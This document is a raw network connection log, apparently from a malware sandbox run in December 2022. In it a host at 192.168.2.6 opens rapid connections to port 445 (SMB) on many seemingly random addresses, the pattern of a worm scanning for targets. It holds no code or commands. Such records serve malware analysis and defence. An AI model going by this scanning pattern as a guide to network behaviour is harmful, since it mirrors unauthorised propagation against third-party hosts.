Dec 22, 2022 10:06:50.533741951 CET	59349	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:50.539550066 CET	59350	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:50.552591085 CET	445	59287	37.159.192.157	192.168.2.6
Dec 22, 2022 10:06:50.642436981 CET	445	59349	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:50.644942045 CET	445	59350	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:50.645195961 CET	59350	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:50.645195961 CET	59350	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:50.646342039 CET	445	59349	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:50.648406029 CET	59349	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:50.752906084 CET	445	59350	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:50.756834984 CET	445	59350	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:50.760405064 CET	59350	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:50.869067907 CET	445	59350	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:50.869415045 CET	59350	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:50.878081083 CET	59354	445	192.168.2.6	188.18.129.7
Dec 22, 2022 10:06:50.956039906 CET	58553	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:50.970999002 CET	58548	445	192.168.2.6	134.220.39.37
Dec 22, 2022 10:06:50.976985931 CET	445	59350	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:50.977178097 CET	59350	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:51.080245018 CET	58554	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:51.082918882 CET	59357	445	192.168.2.6	106.121.94.89
Dec 22, 2022 10:06:51.083930969 CET	59358	445	192.168.2.6	155.104.161.34
Dec 22, 2022 10:06:51.084904909 CET	445	59350	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:51.084918022 CET	59366	445	192.168.2.6	167.9.218.76
Dec 22, 2022 10:06:51.084990978 CET	59350	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:51.085083008 CET	59368	445	192.168.2.6	66.213.168.108
Dec 22, 2022 10:06:51.085201979 CET	59369	445	192.168.2.6	209.158.109.163
Dec 22, 2022 10:06:51.085994959 CET	59384	445	192.168.2.6	144.196.144.89
Dec 22, 2022 10:06:51.086133003 CET	59387	445	192.168.2.6	160.167.209.215
Dec 22, 2022 10:06:51.086380005 CET	59389	445	192.168.2.6	10.118.237.48
Dec 22, 2022 10:06:51.086579084 CET	59391	445	192.168.2.6	156.151.232.142
Dec 22, 2022 10:06:51.086746931 CET	59394	445	192.168.2.6	37.43.197.15
Dec 22, 2022 10:06:51.086946964 CET	59398	445	192.168.2.6	75.16.15.40
Dec 22, 2022 10:06:51.087058067 CET	59400	445	192.168.2.6	220.76.185.28
Dec 22, 2022 10:06:51.087158918 CET	59402	445	192.168.2.6	142.29.218.211
Dec 22, 2022 10:06:51.087310076 CET	59406	445	192.168.2.6	152.89.24.205
Dec 22, 2022 10:06:51.087436914 CET	59408	445	192.168.2.6	128.137.205.35
Dec 22, 2022 10:06:51.087614059 CET	59410	445	192.168.2.6	161.153.204.244
Dec 22, 2022 10:06:51.087693930 CET	59411	445	192.168.2.6	163.102.163.62
Dec 22, 2022 10:06:51.087816954 CET	59392	445	192.168.2.6	1.170.157.214
Dec 22, 2022 10:06:51.097615004 CET	59415	445	192.168.2.6	17.100.65.53
Dec 22, 2022 10:06:51.193005085 CET	445	59350	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:51.193079948 CET	59350	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:51.346976042 CET	59422	445	192.168.2.6	46.16.9.169
Dec 22, 2022 10:06:51.349222898 CET	59433	445	192.168.2.6	66.94.236.82
Dec 22, 2022 10:06:51.349901915 CET	59437	445	192.168.2.6	25.227.40.106
Dec 22, 2022 10:06:51.350389004 CET	59439	445	192.168.2.6	143.53.239.211
Dec 22, 2022 10:06:51.350749969 CET	59441	445	192.168.2.6	164.70.49.61
Dec 22, 2022 10:06:51.351984024 CET	59446	445	192.168.2.6	40.22.205.130
Dec 22, 2022 10:06:51.356400013 CET	59448	445	192.168.2.6	122.104.91.152
Dec 22, 2022 10:06:51.356825113 CET	59449	445	192.168.2.6	148.187.208.63
Dec 22, 2022 10:06:51.356905937 CET	59450	445	192.168.2.6	110.12.193.122
Dec 22, 2022 10:06:51.485857964 CET	445	59422	46.16.9.169	192.168.2.6
Dec 22, 2022 10:06:51.957231045 CET	59455	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:52.002266884 CET	59422	445	192.168.2.6	46.16.9.169
Dec 22, 2022 10:06:52.044857979 CET	445	59455	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:52.045296907 CET	59455	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:52.046047926 CET	59455	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:52.046228886 CET	59456	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:52.128570080 CET	445	59456	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:52.132641077 CET	59456	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:52.132698059 CET	59456	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:52.132859945 CET	445	59455	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:52.140835047 CET	445	59455	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:52.141052008 CET	445	59422	46.16.9.169	192.168.2.6
Dec 22, 2022 10:06:52.141170979 CET	59455	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:52.190253973 CET	59459	445	192.168.2.6	44.222.101.6
Dec 22, 2022 10:06:52.190901995 CET	59464	445	192.168.2.6	52.197.141.44
Dec 22, 2022 10:06:52.190984011 CET	59467	445	192.168.2.6	206.50.138.239
Dec 22, 2022 10:06:52.191020966 CET	59468	445	192.168.2.6	103.106.57.65
Dec 22, 2022 10:06:52.191265106 CET	59473	445	192.168.2.6	85.59.252.90
Dec 22, 2022 10:06:52.191346884 CET	59475	445	192.168.2.6	221.41.65.13
Dec 22, 2022 10:06:52.191468000 CET	59477	445	192.168.2.6	101.101.54.224
Dec 22, 2022 10:06:52.191479921 CET	59478	445	192.168.2.6	188.96.100.178
Dec 22, 2022 10:06:52.191786051 CET	59482	445	192.168.2.6	72.151.94.48
Dec 22, 2022 10:06:52.191983938 CET	59485	445	192.168.2.6	102.38.231.183
Dec 22, 2022 10:06:52.191991091 CET	59486	445	192.168.2.6	199.64.237.202
Dec 22, 2022 10:06:52.192173958 CET	59488	445	192.168.2.6	110.108.51.60
Dec 22, 2022 10:06:52.192786932 CET	59503	445	192.168.2.6	123.153.58.100
Dec 22, 2022 10:06:52.192895889 CET	59504	445	192.168.2.6	110.164.73.44
Dec 22, 2022 10:06:52.193075895 CET	59507	445	192.168.2.6	211.201.135.35
Dec 22, 2022 10:06:52.194109917 CET	59513	445	192.168.2.6	87.100.44.148
Dec 22, 2022 10:06:52.194175005 CET	59514	445	192.168.2.6	198.107.103.149
Dec 22, 2022 10:06:52.208465099 CET	59517	445	192.168.2.6	133.24.64.249
Dec 22, 2022 10:06:52.216547012 CET	445	59456	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:52.224605083 CET	445	59456	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:52.224720955 CET	59456	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:52.312508106 CET	445	59456	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:52.312619925 CET	59456	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:52.379995108 CET	445	59485	102.38.231.183	192.168.2.6
Dec 22, 2022 10:06:52.396667957 CET	445	59456	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:52.396889925 CET	59456	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:52.480482101 CET	445	59456	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:52.481682062 CET	59456	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:52.487349033 CET	59522	445	192.168.2.6	76.27.54.102
Dec 22, 2022 10:06:52.488570929 CET	59530	445	192.168.2.6	97.83.226.254
Dec 22, 2022 10:06:52.489195108 CET	59539	445	192.168.2.6	185.34.180.190
Dec 22, 2022 10:06:52.489298105 CET	59541	445	192.168.2.6	131.163.158.142
Dec 22, 2022 10:06:52.489439964 CET	59542	445	192.168.2.6	52.139.208.169
Dec 22, 2022 10:06:52.489645004 CET	59546	445	192.168.2.6	5.235.113.97
Dec 22, 2022 10:06:52.491180897 CET	59550	445	192.168.2.6	153.57.48.35
Dec 22, 2022 10:06:52.491302013 CET	59551	445	192.168.2.6	18.212.141.230
Dec 22, 2022 10:06:52.491451025 CET	59552	445	192.168.2.6	179.153.93.191
Dec 22, 2022 10:06:52.564471006 CET	445	59456	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:52.564601898 CET	59456	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:52.893039942 CET	59485	445	192.168.2.6	102.38.231.183
Dec 22, 2022 10:06:53.061819077 CET	445	59485	102.38.231.183	192.168.2.6
Dec 22, 2022 10:06:53.315512896 CET	59561	445	192.168.2.6	65.140.193.52
Dec 22, 2022 10:06:53.316468000 CET	59569	445	192.168.2.6	130.42.249.234
Dec 22, 2022 10:06:53.316610098 CET	59570	445	192.168.2.6	129.217.119.1
Dec 22, 2022 10:06:53.316889048 CET	59573	445	192.168.2.6	137.234.241.231
Dec 22, 2022 10:06:53.316970110 CET	59574	445	192.168.2.6	90.71.205.115
Dec 22, 2022 10:06:53.317204952 CET	59577	445	192.168.2.6	124.218.133.181
Dec 22, 2022 10:06:53.317358971 CET	59578	445	192.168.2.6	60.155.114.4
Dec 22, 2022 10:06:53.317533016 CET	59580	445	192.168.2.6	40.136.178.137
Dec 22, 2022 10:06:53.317667007 CET	59581	445	192.168.2.6	102.100.213.65
Dec 22, 2022 10:06:53.318011999 CET	59586	445	192.168.2.6	87.2.90.70
Dec 22, 2022 10:06:53.318103075 CET	59587	445	192.168.2.6	13.80.12.240
Dec 22, 2022 10:06:53.318197966 CET	59588	445	192.168.2.6	20.164.126.166
Dec 22, 2022 10:06:53.319088936 CET	59596	445	192.168.2.6	81.68.43.1
Dec 22, 2022 10:06:53.319102049 CET	59595	445	192.168.2.6	4.232.9.54
Dec 22, 2022 10:06:53.319911957 CET	59608	445	192.168.2.6	115.115.5.95
Dec 22, 2022 10:06:53.320018053 CET	59609	445	192.168.2.6	15.185.155.131
Dec 22, 2022 10:06:53.320326090 CET	59614	445	192.168.2.6	144.221.205.110
Dec 22, 2022 10:06:53.320918083 CET	59615	445	192.168.2.6	28.121.98.208
Dec 22, 2022 10:06:53.333261967 CET	59616	445	192.168.2.6	210.72.136.241
Dec 22, 2022 10:06:53.649966002 CET	59623	445	192.168.2.6	104.30.3.166
Dec 22, 2022 10:06:53.650393963 CET	59630	445	192.168.2.6	88.87.76.84
Dec 22, 2022 10:06:53.651015997 CET	59641	445	192.168.2.6	86.127.45.5
Dec 22, 2022 10:06:53.651093960 CET	59642	445	192.168.2.6	151.21.185.1
Dec 22, 2022 10:06:53.651209116 CET	59643	445	192.168.2.6	211.165.231.142
Dec 22, 2022 10:06:53.651686907 CET	59647	445	192.168.2.6	204.190.36.97
Dec 22, 2022 10:06:53.653862953 CET	59651	445	192.168.2.6	158.78.9.147
Dec 22, 2022 10:06:53.653949022 CET	59653	445	192.168.2.6	157.233.164.177
Dec 22, 2022 10:06:53.653991938 CET	59652	445	192.168.2.6	117.142.229.0
Dec 22, 2022 10:06:54.096496105 CET	59657	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:54.096786976 CET	59658	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:54.129945993 CET	445	59657	134.220.39.1	192.168.2.6
Dec 22, 2022 10:06:54.130198956 CET	59657	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:54.205318928 CET	445	59658	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:54.205636978 CET	59658	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:54.205749035 CET	59658	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:54.307014942 CET	445	59658	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:54.315279007 CET	445	59658	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:54.316256046 CET	59658	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:54.419785023 CET	445	59658	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:54.420787096 CET	59658	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:54.439999104 CET	59657	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:54.440164089 CET	59663	445	192.168.2.6	141.113.211.169
Dec 22, 2022 10:06:54.441267967 CET	59675	445	192.168.2.6	56.221.21.248
Dec 22, 2022 10:06:54.441508055 CET	59679	445	192.168.2.6	68.242.89.238
Dec 22, 2022 10:06:54.441514015 CET	59676	445	192.168.2.6	106.89.183.247
Dec 22, 2022 10:06:54.441606045 CET	59680	445	192.168.2.6	36.188.93.236
Dec 22, 2022 10:06:54.441785097 CET	59683	445	192.168.2.6	78.71.229.104
Dec 22, 2022 10:06:54.441888094 CET	59684	445	192.168.2.6	138.5.248.236
Dec 22, 2022 10:06:54.442024946 CET	59685	445	192.168.2.6	105.163.70.116
Dec 22, 2022 10:06:54.442079067 CET	59687	445	192.168.2.6	30.241.243.113
Dec 22, 2022 10:06:54.442315102 CET	59692	445	192.168.2.6	159.95.87.206
Dec 22, 2022 10:06:54.442410946 CET	59693	445	192.168.2.6	208.137.212.101
Dec 22, 2022 10:06:54.442513943 CET	59694	445	192.168.2.6	171.211.236.105
Dec 22, 2022 10:06:54.442794085 CET	59701	445	192.168.2.6	117.252.196.197
Dec 22, 2022 10:06:54.443425894 CET	59713	445	192.168.2.6	44.245.19.184
Dec 22, 2022 10:06:54.443504095 CET	59714	445	192.168.2.6	175.223.156.123
Dec 22, 2022 10:06:54.443731070 CET	59719	445	192.168.2.6	122.210.185.109
Dec 22, 2022 10:06:54.443811893 CET	59667	445	192.168.2.6	72.206.153.222
Dec 22, 2022 10:06:54.444844007 CET	59720	445	192.168.2.6	141.17.154.177
Dec 22, 2022 10:06:54.445046902 CET	59721	445	192.168.2.6	221.113.211.17
Dec 22, 2022 10:06:54.525276899 CET	445	59658	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:54.525417089 CET	59658	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:54.629295111 CET	445	59658	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:54.662122011 CET	59658	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:54.690017939 CET	59657	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:54.765281916 CET	445	59658	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:54.768243074 CET	59658	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:54.857882977 CET	59724	445	192.168.2.6	83.57.207.55
Dec 22, 2022 10:06:54.858367920 CET	59725	445	192.168.2.6	199.72.83.128
Dec 22, 2022 10:06:54.858810902 CET	59726	445	192.168.2.6	54.196.13.139
Dec 22, 2022 10:06:54.859236956 CET	59730	445	192.168.2.6	206.137.190.115
Dec 22, 2022 10:06:54.859400034 CET	59733	445	192.168.2.6	124.66.127.158
Dec 22, 2022 10:06:54.859520912 CET	59735	445	192.168.2.6	122.138.202.254
Dec 22, 2022 10:06:54.859575987 CET	59736	445	192.168.2.6	132.142.25.52
Dec 22, 2022 10:06:54.860009909 CET	59746	445	192.168.2.6	218.185.147.191
Dec 22, 2022 10:06:54.860270023 CET	59754	445	192.168.2.6	96.244.172.236
Dec 22, 2022 10:06:54.861048937 CET	59757	445	192.168.2.6	176.210.131.85
Dec 22, 2022 10:06:55.303353071 CET	59657	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:55.487224102 CET	59766	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:55.565838099 CET	59767	445	192.168.2.6	137.8.176.131
Dec 22, 2022 10:06:55.566200018 CET	59769	445	192.168.2.6	14.114.115.55
Dec 22, 2022 10:06:55.566656113 CET	59774	445	192.168.2.6	45.165.46.14
Dec 22, 2022 10:06:55.567349911 CET	59775	445	192.168.2.6	65.165.11.236
Dec 22, 2022 10:06:55.567909956 CET	59776	445	192.168.2.6	205.77.0.4
Dec 22, 2022 10:06:55.568414927 CET	445	59766	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:55.568551064 CET	59766	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:55.568551064 CET	59766	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:55.568778992 CET	59777	445	192.168.2.6	177.186.250.249
Dec 22, 2022 10:06:55.569545984 CET	59782	445	192.168.2.6	37.238.246.147
Dec 22, 2022 10:06:55.569710970 CET	59784	445	192.168.2.6	165.139.155.239
Dec 22, 2022 10:06:55.569802999 CET	59785	445	192.168.2.6	117.190.4.33
Dec 22, 2022 10:06:55.569963932 CET	59787	445	192.168.2.6	122.233.108.65
Dec 22, 2022 10:06:55.570235014 CET	59789	445	192.168.2.6	29.158.114.169
Dec 22, 2022 10:06:55.570533991 CET	59791	445	192.168.2.6	78.218.254.21
Dec 22, 2022 10:06:55.570660114 CET	59792	445	192.168.2.6	205.201.35.52
Dec 22, 2022 10:06:55.570842028 CET	59794	445	192.168.2.6	34.189.15.147
Dec 22, 2022 10:06:55.571199894 CET	59799	445	192.168.2.6	30.253.18.129
Dec 22, 2022 10:06:55.571382999 CET	59800	445	192.168.2.6	165.174.87.68
Dec 22, 2022 10:06:55.571640015 CET	59803	445	192.168.2.6	180.218.98.229
Dec 22, 2022 10:06:55.572103024 CET	59808	445	192.168.2.6	157.34.40.111
Dec 22, 2022 10:06:55.573081017 CET	59820	445	192.168.2.6	98.94.54.30
Dec 22, 2022 10:06:55.652636051 CET	445	59766	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:55.656467915 CET	445	59766	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:55.663191080 CET	59766	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:55.748590946 CET	445	59766	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:55.799433947 CET	59766	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:56.137710094 CET	445	59468	103.106.57.65	192.168.2.6
Dec 22, 2022 10:06:56.241508961 CET	59766	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:56.299505949 CET	58257	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:56.324677944 CET	445	59766	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:56.349921942 CET	59766	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:56.350605965 CET	59828	445	192.168.2.6	176.210.131.86
Dec 22, 2022 10:06:56.357095957 CET	59833	445	192.168.2.6	180.113.10.232
Dec 22, 2022 10:06:56.357646942 CET	59834	445	192.168.2.6	48.116.172.92
Dec 22, 2022 10:06:56.358216047 CET	59835	445	192.168.2.6	182.238.54.13
Dec 22, 2022 10:06:56.358649015 CET	59839	445	192.168.2.6	22.10.117.57
Dec 22, 2022 10:06:56.358943939 CET	59842	445	192.168.2.6	25.231.123.80
Dec 22, 2022 10:06:56.359127998 CET	59844	445	192.168.2.6	33.234.130.71
Dec 22, 2022 10:06:56.359232903 CET	59845	445	192.168.2.6	2.201.187.140
Dec 22, 2022 10:06:56.360111952 CET	59856	445	192.168.2.6	30.8.221.130
Dec 22, 2022 10:06:56.360697985 CET	59863	445	192.168.2.6	181.73.175.30
Dec 22, 2022 10:06:56.432518959 CET	445	59766	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:56.458026886 CET	59766	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:56.518287897 CET	59657	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:56.540486097 CET	445	59766	188.18.129.8	192.168.2.6
Dec 22, 2022 10:06:56.540674925 CET	59766	445	192.168.2.6	188.18.129.8
Dec 22, 2022 10:06:56.572601080 CET	59870	445	192.168.2.6	188.18.129.9
Dec 22, 2022 10:06:56.693751097 CET	59872	445	192.168.2.6	120.1.70.141
Dec 22, 2022 10:06:56.949951887 CET	59877	445	192.168.2.6	59.96.141.128
Dec 22, 2022 10:06:56.952661991 CET	59889	445	192.168.2.6	197.93.229.12
Dec 22, 2022 10:06:56.954488039 CET	59894	445	192.168.2.6	176.147.17.249
Dec 22, 2022 10:06:56.956294060 CET	59897	445	192.168.2.6	102.171.165.78
Dec 22, 2022 10:06:56.957473040 CET	59898	445	192.168.2.6	150.194.167.161
Dec 22, 2022 10:06:56.960194111 CET	59903	445	192.168.2.6	4.246.99.8
Dec 22, 2022 10:06:56.961025953 CET	59905	445	192.168.2.6	20.118.71.184
Dec 22, 2022 10:06:56.961189032 CET	59906	445	192.168.2.6	194.193.98.10
Dec 22, 2022 10:06:56.961368084 CET	59908	445	192.168.2.6	116.171.205.151
Dec 22, 2022 10:06:56.962338924 CET	59910	445	192.168.2.6	48.26.149.146
Dec 22, 2022 10:06:56.962546110 CET	59912	445	192.168.2.6	115.55.243.121
Dec 22, 2022 10:06:56.962639093 CET	59913	445	192.168.2.6	48.170.96.223
Dec 22, 2022 10:06:56.962811947 CET	59915	445	192.168.2.6	191.89.72.100
Dec 22, 2022 10:06:56.963545084 CET	59920	445	192.168.2.6	131.228.54.147
Dec 22, 2022 10:06:56.964793921 CET	59921	445	192.168.2.6	39.124.4.79
Dec 22, 2022 10:06:56.966305971 CET	59922	445	192.168.2.6	204.64.182.238
Dec 22, 2022 10:06:56.966487885 CET	59923	445	192.168.2.6	218.18.71.180
Dec 22, 2022 10:06:56.966917992 CET	59928	445	192.168.2.6	144.222.24.134
Dec 22, 2022 10:06:56.972848892 CET	49711	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:06:57.002839088 CET	443	49711	20.90.152.133	192.168.2.6
Dec 22, 2022 10:06:57.049566984 CET	49711	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:06:58.595278025 CET	59932	445	192.168.2.6	72.105.113.244
Dec 22, 2022 10:06:58.596460104 CET	59935	445	192.168.2.6	176.210.131.87
Dec 22, 2022 10:06:58.596596003 CET	59936	445	192.168.2.6	188.18.129.10
Dec 22, 2022 10:06:58.597510099 CET	59943	445	192.168.2.6	142.56.84.156
Dec 22, 2022 10:06:58.597989082 CET	59944	445	192.168.2.6	68.171.189.124
Dec 22, 2022 10:06:58.598464966 CET	59945	445	192.168.2.6	201.163.142.98
Dec 22, 2022 10:06:58.599334955 CET	59949	445	192.168.2.6	104.248.121.144
Dec 22, 2022 10:06:58.599690914 CET	59952	445	192.168.2.6	132.221.113.131
Dec 22, 2022 10:06:58.599916935 CET	59954	445	192.168.2.6	62.147.79.134
Dec 22, 2022 10:06:58.600157976 CET	59955	445	192.168.2.6	8.46.166.6
Dec 22, 2022 10:06:58.601327896 CET	59966	445	192.168.2.6	100.180.74.127
Dec 22, 2022 10:06:58.601864100 CET	59973	445	192.168.2.6	187.72.147.229
Dec 22, 2022 10:06:58.602219105 CET	59978	445	192.168.2.6	78.119.80.136
Dec 22, 2022 10:06:58.602583885 CET	59983	445	192.168.2.6	57.20.51.46
Dec 22, 2022 10:06:58.603331089 CET	59984	445	192.168.2.6	206.231.11.64
Dec 22, 2022 10:06:58.604090929 CET	59985	445	192.168.2.6	197.111.86.244
Dec 22, 2022 10:06:58.604944944 CET	59986	445	192.168.2.6	139.90.137.26
Dec 22, 2022 10:06:58.605423927 CET	59991	445	192.168.2.6	143.204.86.111
Dec 22, 2022 10:06:58.605593920 CET	59993	445	192.168.2.6	140.178.16.126
Dec 22, 2022 10:06:58.605676889 CET	59994	445	192.168.2.6	98.153.226.215
Dec 22, 2022 10:06:58.605849028 CET	59996	445	192.168.2.6	157.217.246.0
Dec 22, 2022 10:06:58.606019020 CET	59998	445	192.168.2.6	54.103.151.60
Dec 22, 2022 10:06:58.606194019 CET	60000	445	192.168.2.6	179.72.173.94
Dec 22, 2022 10:06:58.606287003 CET	60001	445	192.168.2.6	86.7.118.145
Dec 22, 2022 10:06:58.606475115 CET	60003	445	192.168.2.6	172.28.72.142
Dec 22, 2022 10:06:58.607100964 CET	60008	445	192.168.2.6	201.83.155.44
Dec 22, 2022 10:06:58.607187986 CET	60009	445	192.168.2.6	86.227.120.34
Dec 22, 2022 10:06:58.607902050 CET	60014	445	192.168.2.6	20.194.145.228
Dec 22, 2022 10:06:58.609270096 CET	60026	445	192.168.2.6	43.166.86.27
Dec 22, 2022 10:06:58.609839916 CET	60031	445	192.168.2.6	36.250.119.226
Dec 22, 2022 10:06:58.924669027 CET	59657	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:59.299720049 CET	58258	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:59.663373947 CET	60038	445	192.168.2.6	176.210.131.88
Dec 22, 2022 10:06:59.675468922 CET	60039	445	192.168.2.6	188.18.129.11
Dec 22, 2022 10:06:59.706240892 CET	60040	445	192.168.2.6	130.191.186.60
Dec 22, 2022 10:06:59.722489119 CET	60044	445	192.168.2.6	124.133.58.45
Dec 22, 2022 10:06:59.723263025 CET	60049	445	192.168.2.6	66.141.237.248
Dec 22, 2022 10:06:59.724008083 CET	60050	445	192.168.2.6	63.1.232.50
Dec 22, 2022 10:06:59.724822998 CET	60051	445	192.168.2.6	170.222.33.152
Dec 22, 2022 10:06:59.725604057 CET	60052	445	192.168.2.6	144.172.204.187
Dec 22, 2022 10:06:59.726258993 CET	60057	445	192.168.2.6	217.179.68.219
Dec 22, 2022 10:06:59.726639986 CET	60059	445	192.168.2.6	164.126.91.107
Dec 22, 2022 10:06:59.726854086 CET	60060	445	192.168.2.6	138.225.43.211
Dec 22, 2022 10:06:59.727103949 CET	60062	445	192.168.2.6	129.97.104.10
Dec 22, 2022 10:06:59.727360964 CET	60064	445	192.168.2.6	152.84.123.1
Dec 22, 2022 10:06:59.727607012 CET	60066	445	192.168.2.6	158.75.171.52
Dec 22, 2022 10:06:59.727874994 CET	60067	445	192.168.2.6	4.120.87.180
Dec 22, 2022 10:06:59.728213072 CET	60069	445	192.168.2.6	131.32.24.45
Dec 22, 2022 10:06:59.728925943 CET	60074	445	192.168.2.6	186.47.0.71
Dec 22, 2022 10:06:59.729155064 CET	60075	445	192.168.2.6	39.215.107.199
Dec 22, 2022 10:06:59.729856968 CET	60080	445	192.168.2.6	72.128.147.244
Dec 22, 2022 10:06:59.731273890 CET	60092	445	192.168.2.6	184.31.209.98
Dec 22, 2022 10:06:59.731905937 CET	60097	445	192.168.2.6	144.202.104.85
Dec 22, 2022 10:06:59.733860016 CET	60109	445	192.168.2.6	5.2.241.178
Dec 22, 2022 10:06:59.734608889 CET	60110	445	192.168.2.6	124.178.150.107
Dec 22, 2022 10:06:59.735354900 CET	60111	445	192.168.2.6	1.168.135.200
Dec 22, 2022 10:06:59.735984087 CET	60115	445	192.168.2.6	3.123.234.54
Dec 22, 2022 10:06:59.736434937 CET	60118	445	192.168.2.6	47.115.53.112
Dec 22, 2022 10:06:59.736793995 CET	60120	445	192.168.2.6	139.80.113.96
Dec 22, 2022 10:06:59.737034082 CET	60121	445	192.168.2.6	31.207.228.42
Dec 22, 2022 10:06:59.739033937 CET	60132	445	192.168.2.6	48.57.3.182
Dec 22, 2022 10:06:59.739892960 CET	60139	445	192.168.2.6	181.64.193.15
Dec 22, 2022 10:06:59.995827913 CET	445	60111	1.168.135.200	192.168.2.6
Dec 22, 2022 10:07:00.612375021 CET	60111	445	192.168.2.6	1.168.135.200
Dec 22, 2022 10:07:00.738264084 CET	60144	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:00.738348961 CET	60145	445	192.168.2.6	176.210.131.89
Dec 22, 2022 10:07:00.815762997 CET	60147	445	192.168.2.6	140.24.92.111
Dec 22, 2022 10:07:00.828515053 CET	445	60144	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:00.828707933 CET	60144	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:00.828759909 CET	60144	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:00.829654932 CET	60149	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:00.832043886 CET	60151	445	192.168.2.6	83.169.109.23
Dec 22, 2022 10:07:00.832814932 CET	60153	445	192.168.2.6	84.249.179.80
Dec 22, 2022 10:07:00.833319902 CET	60155	445	192.168.2.6	45.191.35.19
Dec 22, 2022 10:07:00.833620071 CET	60156	445	192.168.2.6	104.180.217.159
Dec 22, 2022 10:07:00.833952904 CET	60158	445	192.168.2.6	32.191.140.145
Dec 22, 2022 10:07:00.835386038 CET	60163	445	192.168.2.6	166.247.99.47
Dec 22, 2022 10:07:00.835649967 CET	60164	445	192.168.2.6	126.84.103.110
Dec 22, 2022 10:07:00.836292982 CET	60169	445	192.168.2.6	7.201.177.223
Dec 22, 2022 10:07:00.837172031 CET	60181	445	192.168.2.6	95.3.56.204
Dec 22, 2022 10:07:00.837641954 CET	60187	445	192.168.2.6	52.104.209.48
Dec 22, 2022 10:07:00.838592052 CET	60201	445	192.168.2.6	123.155.105.140
Dec 22, 2022 10:07:00.838686943 CET	60204	445	192.168.2.6	219.184.36.3
Dec 22, 2022 10:07:00.838818073 CET	60206	445	192.168.2.6	180.28.136.116
